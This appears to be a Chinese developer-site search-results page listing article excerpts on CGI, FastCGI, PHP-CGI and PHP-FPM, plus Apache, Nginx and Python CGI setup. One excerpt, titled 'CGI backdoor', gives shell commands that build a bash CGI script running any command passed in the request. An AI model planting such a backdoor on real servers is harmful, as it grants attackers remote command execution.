首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏卓谷山

    CGI程序

    关于CGI程序的几个疑问。

    1.4K20编辑于 2022-08-15
  • 来自专栏XRSec.Blog

    CGI后门

    cd /tmp mkdir cgi-bin echo '#!/bin/bash' > . /cgi-bin/backdoor.cgi echo 'echo -e "Content-Type: text/plain\n\n"' >> . /cgi-bin/backdoor.cgi echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi chmod +x . /cgi-bin/backdoor.cgi python -m http.server --cgi wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi

    1.9K40编辑于 2022-02-11
  • 来自专栏后端码事

    CGI & FastCGI

    Web服务器和CGI接口又另外设置了一些环境变量,用来向CGI程序传递一些重要的参 数。CGI的GET方法还通过环境变量QUERY-STRING向CGI程序传递Form中的数据。 lighttpd + CGI,用c语言写cgi程序 。 lighttpd 配置 cgi, 打开cgi.conf, cgi.assign = (".cgi" => "") 设置 cgi 模块的扩展名和解释器。 cgi 与 fastcgi   CGI工作原理:每当客户请求CGI的时候,WEB服务器就请求操作系统生成一个新的CGI解释器进程(如php-cgi.exe),CGI 的一个进程则处理完一个请求后退出,下一个请求来时再创建新进程 在CGI模式中,php-cgi在此便退出了。

    2K30发布于 2020-09-11
  • 来自专栏sktj

    python cgi

    cookie操作:限制4kb,300个,每个域名20个 image.png cgi.escape image.png urllib.parse.quote_plus unquote_plus image.png open().read() HTMLParser().unescape() image.png cgi.FieldStorage() xx.keys() image.png

    97330编辑于 2022-05-13
  • 来自专栏正则

    cgi、fastcgi、php-cgi、php-fpm剖析

    定义 cgi 通用网关接口,外部程序与web服务器之间的接口标准,是在cgi程序和web服务器之间传递信息的过程 每一次请求都会生成一个cgi进程,cgi程序执行完,进程退出 独立于服务器、独立编程语言 可以同时处理多个请求 长期占用内存 php-cgi php官方自带的FastCGI 进程管理器 php.ini修改之后,必须kill掉php-cgi再启动php.ini 才生效。 以apache为例,首先要配置好cgi访问目录,访问 http://127.0.0.1/cgi-bin/printenv.pl 。 apache收到用户请求,开始调用cgi接口,处理cgi程序(printenv.pl),处理完了之后返回 cgi程序处理后的结果。 说一下我走过的一个坑,为了验证cgi程序,我特意编译了apache2.4 ,然后配置httpd.conf 但是访问cgi程序还是报错。主要原因就是。cgi文件,没有加上调用哪个程序执行 。

    1.7K10编辑于 2021-12-05
  • 来自专栏全栈程序员必看

    CGI与FastCGI

    Web服务器和CGI接口又另外设置了一些环境变量,用来向CGI程序传递一些重要的参 数。CGI的GET方法还通过环境变量QUERY-STRING向CGI程序传递Form中的数据。 lighttpd + CGI,用c语言写cgi程序 。 lighttpd 配置 cgi, 打开cgi.conf, cgi.assign = (“.cgi” => “”) 设置 cgi 模块的扩展名和解释器。 cgi 与 fastcgi   CGI工作原理:每当客户请求CGI的时候,WEB服务器就请求操作系统生成一个新的CGI解释器进程(如php-cgi.exe),CGI 的一个进程则处理完一个请求后退出,下一个请求来时再创建新进程 在CGI模式中,php-cgi在此便退出了。

    2.1K20编辑于 2022-07-08
  • 来自专栏LukaChen Blog

    什么是CGI、FastCGI、PHP-CGI、PHP-FPM

    众所周知,CGI解释器的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail- Over特性等等。 FastCGI与CGI特点 CGI,FastCGI也具有语言无关性。 CGI, FastCGI在进程中的应用程序,独立于核心web服务器运行,提供了一个比API更安全的环境。 当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。 在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展并重初始化全部数据结构。 启动PHP-CGI,使用如下命令: php-cgi -b 127.0.0.1:9000 PHP-CGI的不足 php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启

    1K30编辑于 2023-10-22
  • 来自专栏python3

    apache cgi python

    修改apache配置文件如下 <Directory "/usr/local/sae/httpd//htdocs/cgi-bin">     AllowOverride None     Options Order allow,deny     Allow from all </Directory>      AddType text/html .htm .html .py      AddHandler cgi-script .cgi .py 编写hello_get.py,放在/usr/local/sae/httpd/htdocs/cgi-bin/目录下,赋予权限chmod a+x hello_get.py 代码: #! /usr/bin/python import cgi import os import time import cStringIO import json form = cgi.FieldStorage

    1.2K20发布于 2020-01-13
  • 来自专栏LukaChen Blog

    什么是CGI、FastCGI、PHP-CGI、PHP-FPM

    众所周知,CGI解释器的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail- Over特性等等。 FastCGI与CGI特点 CGI,FastCGI也具有语言无关性。 CGI, FastCGI在进程中的应用程序,独立于核心web服务器运行,提供了一个比API更安全的环境。 当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。 在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展并重初始化全部数据结构。 启动PHP-CGI,使用如下命令: php-cgi -b 127.0.0.1:9000 PHP-CGI的不足 php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启

    1.1K30编辑于 2023-10-22
  • 来自专栏python3

    Python网页编程(CGI)

    /usr/bin/python # CGI处理模块 from os import environ import cgi, cgitb # 创建 FieldStorage 的实例化 form = cgi.FieldStorage print("Set-Cookie:Path=/perl;\n") print('<html>') print('<head>') print('<title>Hello Word - First CGI This is my first CGI program') print("

    Hello %s %s

    " % (first_name, last_name)) print("User

    2.3K10发布于 2020-01-08
  • 来自专栏PHP在线

    概念了解:CGI,FastCGI,PHP-CGI与PHP-FPM

    FastCGI是语言无关的、可伸缩架构的CGI开放扩展,其主要行为是将CGI解释器进程保持在内存中并因此获得较高的性能。 众所周知,CGI解 释器的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、 Fail- Over特性等等。 当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。 在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展并重初始化全部数据结构。 PHP-CGI的不足: php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启。 直接杀死php-cgi进程,php就不能运行了。

    2.4K80发布于 2018-03-08
  • 表单提交至cgi

    问题背景我在 public-html 中运行了表单,并在 cgi-bin 中运行了 cgi 脚本。当我提交表单时,我收到一个空白页面。 /usr/bin/python# Import modules for CGI handlingimport cgi, cgitb, sys# Create instance of FieldStorageform = cgi.FieldStorage()# Get data from fields(提取代理IP)# http://jshk.com.cn/mb/reg.asp? /usr/bin/python# Import modules for CGI handlingimport cgi, cgitb, sys# Create instance of FieldStorageform /usr/bin/python# Import modules for CGI handlingimport cgi, cgitb, sys# Create instance of FieldStorageform

    43110编辑于 2024-03-12
  • 来自专栏破晓

    【Linux网络】CGI技术

    一、CGI技术概述 CGI(Common Gateway Interface)是一种用于Web服务器与外部应用程序(CGI程序)之间进行交互的标准协议。 CGI程序通常被放置在Web服务器的特定目录(如cgi-bin)中,并通过特定的URL路径进行访问。 服务器识别与转发:Web服务器识别出这是一个需要CGI程序处理的请求,并将请求转发给相应的CGI程序。这通常是通过检查请求的URL路径是否指向cgi-bin目录或具有.cgi后缀来实现的。 CGI程序执行:Web服务器启动一个新的进程(或线程)来执行CGI程序。 CGI程序。

    71210编辑于 2024-08-29
  • 来自专栏开源部署

    配置Nginx支持CGI

    配置Nginx支持CGI 相信会特意看这篇文章的人对CGI是什么及其作用已经有了足够的了解,所以在这里不再赘述,直接开始配置。 /.*\.cgi$ { root          /work/www/test; fastcgi_index  index.cgi; fastcgi_param  SCRIPT_FILENAME  $ fastcgi_params.default/etc/nginx/nginx_fcgi_params 到这里其实已经完成工作了,但我现在的公司需要在网页上能够显示数学公式,所以,以下两步是添加一个名为mimetex.cgi (可以在网上下载)的文件到/web/www/cgi-bin(如果没有此目录,请手动创建)下,有了这个文件系统才能将用户提交的“文本格式的公式”转换成“真正的公式” mkdir /etc/nginx cd /web/www/cgi-bin/ chmod +x mimetex.cgi

    1.9K10编辑于 2022-06-29
  • 来自专栏开源部署

    Apache配置实现cgi

    /"这个指令,指示了默认的cgi-bin的路径。 还需要配置 AddHandler cgi-script .cgi .pl 该配置默认被注释掉了,设置了cgi的后缀名 编写一个cgi文件,内容如下: #! 将该文件命名为first.cgi,然后放入/var/www/cgi-bin/目录中。 : first.cgi 说明了权限被拒绝了。 将first.cgi的权限设置成755 chmod 755 /var/www/cgi-bin/first.cgi 再次运行http://localhost:9000/cgi-bin/first.cgi

    1.8K20编辑于 2022-07-04
  • 来自专栏后台公论

    万法归宗:CGI

    彼时,CGI应运而生。第一个版本的CGI由Perl语言编写的脚本,因此通常称之为“CGI脚本”。直至今日,把CGI一词丢入谷歌的搜索框,搜到的一大把都是Perl相关的内容。 CGI程序既是如此。 CGI程序通常部署到Web服务器(如Apache)上,Web服务器然后调用CGI程序,关于CGI程序到底如何从Web服务器中获得输入,请继续阅读下一节 Interface。 如post请求一个CGI的URL,那么POST的数据,CGI是通过标准输入来获取到的。 而CGI如何构造出数据(比如HTML页面)返回给浏览器呢?其实CGI本身只要向标准输出去写入数据即可。 其实不然,这是因为CGI有一大硬伤: 每次HTTP请求CGI,Web服务器都有启动一个新的进程去执行这个CGI程序,即颇具Unix特色的fork-and-execute。 5、争议 CGI程序有一不大不小的缺陷,缺乏URL路由的功能,基本上一个CGI都是独立提供给外界访问,一个CGI就是独立的可执行程序。因此**不仅CGI的URL比较丑陋,而且容易暴露真实路径**。

    1.7K10编辑于 2021-12-08
  • 理解CGI与FastCGI

    什么是CGI?简要解释:CGI(CommonGatewayInterface,通用网关接口)是一种标准协议,它定义了Web服务器如何与外部程序交互,以生成动态网页内容。 举个例子:想象一下,每当用户通过浏览器提交一个表单(比如登录),Web服务器就会启动一个对应的CGI程序(如Python或Perl脚本)来处理这个请求,生成结果后再返回给用户。它有什么特点? 每次请求新建进程:一个请求对应一个CGI进程,处理完后进程销毁。简单通用:几乎支持所有编程语言。但效率较低:频繁创建和销毁进程会消耗较多资源和时间。什么是FastCGI? 简要解释:FastCGI是CGI的改进版本,通过进程复用的方式,显著提升了处理动态请求的性能。它是如何工作的?进程管理器(Master)启动:预先启动一个管理进程,负责协调工作进程。 复用处理多个请求性能表现较低,适合低频请求高,适合并发场景资源消耗高(因为频繁创建销毁)低(进程复用)适用场景简单脚本、测试环境生产环境、高并发Web应用如何选择如果你在开发一个内部小工具,访问量不大,CGI

    31210编辑于 2025-12-12
  • 来自专栏PHP在线

    什么是CGI、FastCGI、PHP-CGI、PHP-FPM、Spawn-FCGI?

    众所周知,CGI解释器的 反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail- Over特性等等。 FastCGI与CGI特点 1、如CGI,FastCGI也具有语言无关性. 2、如CGI, FastCGI在进程中的应用程序,独立于核心web服务器运行,提供了一个比API更安全的环境。 3、当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。 在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展并重初始化全部数据结构。 管理器 PHP-CGI的不足 1、php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启 2、直接杀死php-cgi进程,php就不能运行了。

    3K90发布于 2018-03-08
  • 来自专栏python3

    【Python进阶】04、CGI编程

    一、CGI概述 1、CGI简介       CGI(Common Gateway Interface) 是WWW技术中最重要的技术之一,有着不可替代的重要地位。 CGI是外部应用程序(CGI程序)与Web服务器之间的接口标准,是在CGI程序和Web服务器之间传递信息的过程。 asp,php,jsp 二、python CGI编程 1、web服务器支持及配置 在你进行CGI编程前,确保您的Web服务器支持CGI及已经配置了CGI的处理程序。 这个目录被称为CGI目录,并按照惯例,它被命名为/var/www/cgi-bin目录。 CGI文件的扩展名为.cgi,python也可以使用.py扩展名。  .cgi .py 启动httpd服务: # service httpd start 2、第一个CGI程序 我们使用Python创建第一个CGI程序,文件名为cgi.py,文件位于/var/www/cgi-bin

    1.6K10发布于 2020-01-07
  • 来自专栏技术进阶

    CGI、FastCGI、PHP-CGI、PHP-FPM、Spawn-FCGI 的区别

    众所周知,CGI解释器的反复加载是CGI性能低下的主要原因,如果CGI解释器保持在内存中并接受FastCGI进程管理器调度,则可以提供良好的性能、伸缩性、Fail- Over特性等等。 FastCGI与CGI特点 如CGI,FastCGI也具有语言无关性. 如CGI, FastCGI在进程中的应用程序,独立于核心web服务器运行,提供了一个比API更安全的环境。 当客户端请求到达Web Server时,FastCGI进程管理器选择并连接到一个CGI解释器。Web server将CGI环境变量和标准输入发送到FastCGI子进程php-cgi。 在CGI模式中,php-cgi在此便退出了。 在上述情况中,你可以想象CGI通常有多慢。每一个Web请求PHP都必须重新解析php.ini、重新载入全部扩展并重初始化全部数据结构。 什么是PHP-CGI PHP-CGI是PHP自带的FastCGI管理器 PHP-CGI的不足 php-cgi变更php.ini配置后需重启php-cgi才能让新的php-ini生效,不可以平滑重启 直接杀死

    1.4K10编辑于 2021-12-24
领券